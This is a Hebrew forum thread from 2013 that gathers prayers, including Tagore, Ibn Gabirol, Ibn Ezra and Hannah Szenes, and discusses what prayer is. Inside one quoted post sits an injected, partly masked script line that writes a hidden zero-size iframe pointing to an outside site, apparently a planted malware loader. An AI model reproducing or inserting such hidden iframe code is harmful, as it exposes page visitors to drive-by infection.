| נשלח ב-23/6/2013 00:31 |
 |
| |
אשכול התפילות הגדול
מהי תפילה? שיחת האדם עם אלוקיו.
תפילה עשויה לכלול: שבח, הודאה ובקשה.
לדברי הרמב"ם, וכך מסתבר, ברוב הדורות בעם ישראל לא היה נוסח תפילה אחיד, וכל אחד ואחד היה מתפלל לפי יכולתו ולפי צרכיו.
אכן נחלקו הרמב"ם והרמב"ן אם חובת תפילה מן התורה היא כל יום ויום או רק בשעת צרה. אבל מתי אין שעה שאדם זקוק להתפלל?
יש לנו תפילות מסודרות כפי שהן מופיעות בכל סידור. יש לנו אוסף תפילות מופלא בספר התהלים.
אבל תפילות נולדות בכל רגע.
חשבתי שכדאי לפתוח אשכול שבו ייאספו מבחר של תפילות. כל אחד יכול להביא מכל מה שהוא תפילה.
הנה הראשונה. אמנם לדוגמית הראשונה יש מעמד מכונן, אבל זה מה שיצא וזה מה שעורר אותי לנושא זה. ואולי זה בעצם טוב, שמדובר בתפילה שכתב גוי.
האם גוי יכול להתפלל? ודאי שכן (וכי לא ביקש שלמה שתפילת הגוי תישמע במקדש? וכי לא אמרו הנביאים שכל הגויים יבואו להתפלל לאלוקים האחד והיחיד בירושלים?
למה זה טוב להכיר הרבה תפילות? זו שאלה ממש טובה וחשובה. סבורני, אם אלמד מעצמי ומנסיוני, שכאשר קוראים תפילה מרגשת, זה מעורר אותנו. אם להתפלל כרגע, אם לזכור ולהתפעם ואולי להשתמש במקום ובזמן אחר.
נזכור נא שאע"פ שיש לנו שלוש תפילות מסודרות שתיקנו חכמים (כוונתי ל19 התפילות שנקראות 18 כי רק הן התפילות שתיקנו חכמים, להבדיל מהסידורים שלכאורה מכילים את חובת התפילה...) - בכל זאת, עיקר התפילה הוא מה שבלב. ולכן גם יש תחנן לאחר 18, כדי שאדם יתפלל מליבו ובלשונו, בין אם היא צחה ובין אם לאו.
אז אני מתחיל את האוסף.
באשכול סמוך, הביא מ80 תפילה שכתב המשורר ההודי הדגול טגורי.
במקום אשר הרוח בלי מגור והראש איתן,
במקום אשר הידע חופשי,
במקום אשר העולם לא נשבר לרסיסים על-ידי חומות מקומיות צרות,
במקום אשר יוצאים הדברים ממעמקי האמת,
במקום אשר שאיפה רעננה שולחת את זרועותיה אל השלם,
במקום אשר פלגי הדעת הזכים לא איבדו את דרכם אל מדבר שומם של מצוות אנשים מלומדה,
במקום אשר אתה מוליך את הרוח למחשבות ומעשים נעלים,
לגן-עדן זה של חירות, אבי, עורר-נא את ארצי. (רבינדרנת טאגור, גיטאנג'אלי, שירי מנחה) - תפילה שילדים הודים מתפללים מדי בוקר בבתי הספר
מ80 לא ציין מי תירגם אותה לעברית. אולי הוא בעצמו?
כל המוסיף - הרי זה משובח.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-23/6/2013 00:46 |
|
| |
| מיימוני כתב: |  |
האם גוי יכול להתפלל? ודאי שכן (וכי לא ביקש שלמה שתפילת הגוי תישמע במקדש? וכי לא אמרו הנביאים שכל הגויים יבואו להתפלל לאלוקים האחד והיחיד בירושלים?
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
כיהודה ועוד לקרא:
'קרוב ה' לכל קוראיו, לכל אשר יקראו באמת'. תהילים. פסוקי דזמרה.
בהמה גם יכולה להתפלל.
'נותן לבהמה לחמה לבני עורב אשר יקראו'. שם.
'הכפירים שואגים לטרף ולבקש מקל אכלם'. [תהילים קד, כא].
אולי חכמי הלשון יפרשו את משמעות המושג 'קריאה' שלענ"ד הוא קמאי למושג תפילה.
ולמה זה קשור לאשכול?
נזכרתי בסיפור על הבעש"ט שייחס 'עולמות' לשריקת היהודי הפשוט שלא ידע להתפלל. באותה שריקה זיהה הבעש"ט תפילה נוראה.
אם דברי הבעש"ט יתקבלו על לב החכמים, הרי שניתן להרחיב טובא את גבולות האשכול.
החל בשריקות וכלה בסימפוניה השישית של בטהובן או העונות של ויוולדי.
וכמובן מגוון רחב מאוד של טקסטים.
תוקן על ידי דה_וינצי2 ב- 23/06/2013 00:57:44
|
|
|
|
|
| נשלח ב-23/6/2013 00:54 |
|
| |
דה וינצ'י
כמדומה שבני עורב אינם מתפללים, ואין זה אלא המשורר המתפלל שרואה בקריאתם לאכול - תפילה.
אני סבור שיש כאן תהליך שאולי יוכח שפירושי לו נכון לפי רוב הציטוטים שאני מקוה שיובאו כאן.
תפילה בפשטותו של מונח היא אמירה, או קריאה, או ביטוי רגש במילים, של האדם המופנה כלפי אלוקים.
ייתכנו תופעות שארצה לכנות "תפילה" למרות שהן אינן תפילה במובן המלא של המונח.
כאשר תינוק בוכה, אני עשוי לטעון שהוא בעצם משתוקק לאלוקים, אלא שלפי הבנתו הוא בוכה במקום לדבר והוא זועק לאמו כי אינו מכיר את אלוקים.
משורר עשוי לראות את העולם ביופיו ולפרש אותו, ממש לראותו, כאילו הוא שר את כבוד ה'. ובכך יתבארו פסוקים שונים בתהלים.
אבל איני סבור שהעולם שר את כבוד ה' במובן הרגיל של המילה. זו פרשנות.
יהיה עלינו להציע אבחנות לשוניות, ואולי לציין שיש כמה רמות של תפילה.
אני מבקש תפילות מהסוג שבו יש אדם הפונה אל ה' ואומר זאת במילים.
ניתן להציע גם דגמים אחרים. מי אני שאקבע. אני רק מציע שנדייק בשימושי הלשון שלנו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-23/6/2013 01:15 |
|
| |
תפילה היא הבעת רגש מהאדם לבוראו .
בפרט כאשר לא מדובר בבקשה פרטית אלא בהכרה בשבחו של הקל שהוא נעלה מעל כל .
ההפנמה שיש כוח גדול מאיתנו שמאזן לתפילתנו ומתאוה להם .
מתאוה הקב''ה לתפילתן של ישראל .
לדעתי מאוד חשוב להתפלל בשפה שלך ואיך שאתה מרגיש צורך לדבר לבורא .
כמובן שזה לא במקום תפילות שתיקנו חכמינו אלא כתוספת .
|
|
|
|
| נשלח ב-23/6/2013 04:43 |
|
| |
- זה היה תרגום של פרישמן אותו תיקנתי קמעה.
הנה עוד שיר-תפלה של טאגור מתוך גיטאנג'לי בתרגום פרישמן:
רבות משאלותי וקולי קטן, אך אתה המצילני תמיד; כי בעוזך השיבות פני תמיד - וזה חסדך הגדול רוקם בכל ימי חיי.
רצוי תעשני מיום אל-יום למתנותיך הטהורות והגדולות אשר נתת לי ואני לא שאלתי; את השמים האלה ואת האור, את בשרי זה ואת החיים ואת הנשמה - והצלתני מן הרעה לשאול באין מדה.
לרגעים תערוג נפשי באין כח, לרגעים אתעורר ואסתער ואת כל גבולי אחפש - אך אתה באין חמלה תסתתר ממני.
רצוי לך תעשני מיום אל יום אשר אוכל לקדם פניך כליל, כי לזאת תשיב פני בכל יום תמיד ותצילני מן הרעה לשאול משאלות דלות ולא נאמנות.
טאגור שר בקולו מזמור שכתב והלחין:
http://www.youtube.com/watch?v=kvTim1Kg_F8
מזמור תפלה מאת טאגור ששר זמר הודי בן דורנו:
http://www.youtube.com/watch?v=vwEt4V1J4Ak
|
|
|
|
| נשלח ב-23/6/2013 08:05 |
|
| |
ודומו סלה.
|
|
|
|
| נשלח ב-23/6/2013 10:24 |
|
| |
חברה, תתפללו עלי.
|
|
|
|
| נשלח ב-23/6/2013 10:26 |
|
| |
המדע, הפילוסופיה והאמנות שמו במהלך הדורות מחיצות רבות בין האדם לבוראו. האדם הקדום היה קרוב יותר לבוראו מהאדם המודרני, ולא רק שתפילתו לאלהיו היתה ישירה ובלתי אמצעית, אלא שהיתה חלק מהותי יותר מחייו. אמר דוד: ערב ובוקר וצהרים אשיחה ואהמה וישמע קולי. רש"י, ראב"ע, רד"ק, ומצודת דוד פירשו שהכוונה לתפילות ערבית ושחרית ומנחה. אולם לא זאת כוונת המליצה, ופירשה נכון ש. ל. גורדון: בכל עת ובכל שעה אשפוך נפשי לפניך. כפי שנאמר במזמור קט: ואני תפלה, פירש רש"י: ואני מתפלל אליך תמיד. כשם שיש דבקות בקב"ה ע"י תלמוד תורה יומם ולילה, כן יש דבקות באמצעות תפלה. על-כן אמר רבי יוחנן: הלוואי שיתפלל אדם כל היום כולו.
|
|
|
|
| נשלח ב-23/6/2013 11:15 |
|
| |
רשויות שחיבר רבי שלמה אבן גבירול (רשות זו בקשה להתפלל המקדימה את התפלה):
שאל להודות לך לבי - ולא יכול
לו יש תבונתי רחבה כמו כלכל.
לבי הלא טרם ישכיל תהלתך -
גדול חסדיך עלי ועל הכל!
מבלתך אין לי מבטח, ואיה צור
זולתך, סובל עולם כמו אשכול?
הן לך אני נשלך, איך לא אקוה לך -
ובידך נפש כל חי ורוח כל?
שחר אבקשך, צורי ומשגבי,
אערוך לפניך שחרי וגם ערבי.
לפני גדולתך אעמוד ואבהל,
כי עינך תראה כל מחשבות לבי.
מה זה אשר יוכל הלב והלשון
לעשות, ומה כח רוחי בתוך קרבי?
הנה לך תיטב זמרת אנוש, על כן
אודך בעוד תהיה נשמת אלוה בי!
שתי בך מחסי בפחדי וחרדתי,
ושמך בעת מצור שמתי מצודתי.
לשמאל ועל ימין אביט - ואין עוזר,
כי אם בידך אפקיד יחידתי!
מכל יקר ארץ חלקי נתתיך
ומכל עמלי את חשקי וחמדתי.
הנה ברוב אהבה אשגה בך תמיד,
עת תת זמירות לך היתה עבודתי!
|
|
|
|
| נשלח ב-23/6/2013 11:37 |
|
| |
תחנון / רבי משה אבן עזרא
ממרום קול עובר באזני לילה וחובר,,
והקול ארזים שובר ועורר שוכני קבר,
וקול אלי מדבר: "קום וחילים גבר!"
עניתיו "איך יתגבר כבד-פה ומלין יחבר?
לא ידעתי דבר כי נער אנכי!"
מלאכות א-להים נורא קמתי לעשות במורא,
ועד לא תופע נהרה הקיצותי באשמורה,
ולא ראתה לך צורה ואמנם לך למקרא
שמעתי - ואירא, כי עירום אנכי!
שחר נשף ולילו הערתי בגללו
ואצתי לתמוך בחבלו ולהחזיק בשולי מעילו,
נפול בנעימים אצלו חבלים לי בהיכלו,
וכי אתיצב למולו אני נפעם במהללו,
ואומר "בי אדני, לא איש דברים אנכי!"
הכי רעיוני יראוך, ימין האל, בים ראוך,
והאמינו בך והנאוך, כי רק בקרבם מצאוך
ודבקו בך ולא יצאוך, ועל כנפי שיר נשאוך,
ואולם בפה השיאוך ולעו בעת שקראוך,
ואמנם כי כבד פה וכבד לשון אנכי!
|
|
|
|
| נשלח ב-23/6/2013 12:02 |
|
| |
דממה דקה / יעקב רימון
מי הקורא בי
ללא קול,
לא ילחש
לא ילאט
רק רוגע ודמי
כתכלת שוקטה של על...
מי ינגן בי
לא מכנור
ללא מיתר
קשת וצליל
ניגון עתיק
זה נר נדלק בלבי
נר היכל
לא יכבה.
ופתע -
נפתח לבבי
כשערים
וכל בי פנימה אומר:
א-להים!...
|
|
|
|
| נשלח ב-23/6/2013 12:17 |
|
| |
קשב / יצחק עוגן
כל השערים
ננעלו
העלם
אל הדממה
אל התפילה
חוט דמעות אחד
קושר לבך
ללב עולם
מאחורי השער
חסד אלהי
שותק
מקשיב
אל הדממה
אל התפילה -
|
|
|
|
| נשלח ב-23/6/2013 14:12 |
|
| |
איזהו עבודה שבלב - תפלה .
תפלה בגימטריא דרך ארץ .
שתפלה ודרך ארץ קודמים לתורה .
|
|
|
|
| נשלח ב-23/6/2013 23:49 |
|
| |
כמדומה שכמה שיותר פשוט, יותר טוב.
לכן
אֵלִי, אֵלִי
שֶׁלֹּא יִגָּמֵר לְעוֹלָם
הַחוֹל וְהַיָּם,
רִשְׁרוּשׁ שֶׁל הַמַּיִם,
בְּרַק הַשָּׁמַיִם,
תְּפִלַּת הָאָדָם.
רק כעת גיליתי ששמו של השיר הוא "הליכה לקיסריה". המשוררת היא כמובן הצנחנית שנהרגה בשואה, חנה סנש.
ויקי.
יש שם גם גרסה מוקדמת, והבוחר יבחר.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
